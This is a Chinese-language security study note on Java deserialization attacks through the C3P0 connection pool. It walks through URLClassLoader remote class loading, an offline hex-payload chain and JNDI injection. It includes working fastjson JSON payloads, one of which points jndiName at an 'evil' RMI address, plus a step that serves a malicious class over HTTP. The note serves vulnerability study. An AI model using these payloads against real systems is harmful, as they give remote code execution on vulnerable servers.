C3P0
0x01 What Is C3P0
C3P0是JDBC的一个连接池组件,类似的连接池组件还有Druid、DBCP
在执行JDBC的CRUD操作时,若每次操作都建立一次新的数据库连接到销毁,开销就太大了。因此通过连接池(Connection Pool)复用创建好的连接。
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。 使用它的开源项目有Hibernate、Spring等。
0x02 Way To Attack
URLClassLoader - http base
PoolBackedDataSourceBase#writeObject
首先尝试序列化当前对象的connectionPoolDataSource属性,若抛出NotSerializableException异常,即不能序列化,则catch这个异常,并用ReferenceIndirector.indirectForm处理后再序列化。


调用connectionPoolDataSource属性的getReference(),返回后作为参数封装进ReferenceSerialized对象,而ReferenceSerialized实现的接口IndirectlySerialized继承了Serializable接口,因此ReferenceSerialized可被序列化。

PoolBackedDataSourceBase#readObject

若传进来的序列化对象是上文的ReferenceSerialized,这里调用其getObject方法

跟进ReferenceableUtils.referenceToObject()

ref是之前序列化时候可控的,可以通过URLClassLoader加载并实例化远程类。
0x03 Weave POC
要让connectionPoolDataSource这个属性是个实现ConnectionPoolDataSource、Referenceable(后面要调用它的getReference()再拿去封装到ReferenceSerialized)这两个接口的类。重写getReference()方法,让其factoryLoaction指向恶意类所在服务器地址。
作为PoolBackedDataSourceBase(这个类本身有实现Serializable接口)的connectionPoolDataSource属性,由于evil类没有实现Serializable接口,无法反序列化。在调用writeObject时,调用evil的getReference()方法,返回值封装进可序列化的ReferenceSerialized对象。

0x04 Summary
PoolBackedDataSource在序列化时可以传入一个任意Reference类,在PoolBackedDataSource反序列化时该Reference类中指定的对象会被URLClassLoader远程加载实例化。
0x05 hex base 不出网利用
WrapperConnectionPoolDataSourceBase#setuserOverridesAsString
看到set方法应该立刻联想到fastjson
WrapperConnectionPoolDataSourceBase是抽象类,关注其子类WrapperConnectionPoolDataSource
setUserOverridesAsString最后走到C3P0ImplUtils.parseUserOverridesAsString( this.getUserOverridesAsString());

首先对userOverridesAsString进行截取,转为byte[],再调用SerializableUtils.fromByteArray(serBytes),进行反序列化操作
POC
配合fastjson使用:
{ "a": { "@type": "java.lang.Class", "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "b": { "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString": "HexAsciiSerializedMap:hexEXP;" } }
0x06 JNDI
也是在fastjson或jackson环境下使用,jdk8u191以下(支持LDAP-JNDI注入)
JndiRefConnectionPoolDataSource#setJndiName最后会调用JndiRefDataSourceBase#setJndiName,设置JndiRefDataSourceBase类的jndiName属性。JndiRefConnectionPoolDataSource#setLoginTimeout=>WrapperConnectionPoolDataSource#setLoginTimeout=>JndiRefForwardingDataSource#setLoginTimeout=>inner()=>dereference()
JndiRefForwardingDataSource继承自JndiRefDataSourceBase,可获取其jndiName

POC
RMI服务端:
calc.class挂web服务,python -m http.server 8080

配合fastjson使用
{ "a":{ "@type":"java.lang.Class", "val":"com.mchange.v2.c3p0.JndiRefForwardingDataSource" }, "b":{ "@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource", "jndiName":"rmi://127.0.0.1:1099/evil", "loginTimeout":0 } }
在fastjson,jackson等环境下,调用JndiRefConnectionPoolDataSource类的jndiname,logintimeout属性setter方法,向jndiname传入恶意RMI服务器地址,然后调用logintimeout的setter方法使受害机去lookup设置好的jndiname中的恶意地址,造成JNDI注入。
Last updated
Was this helpful?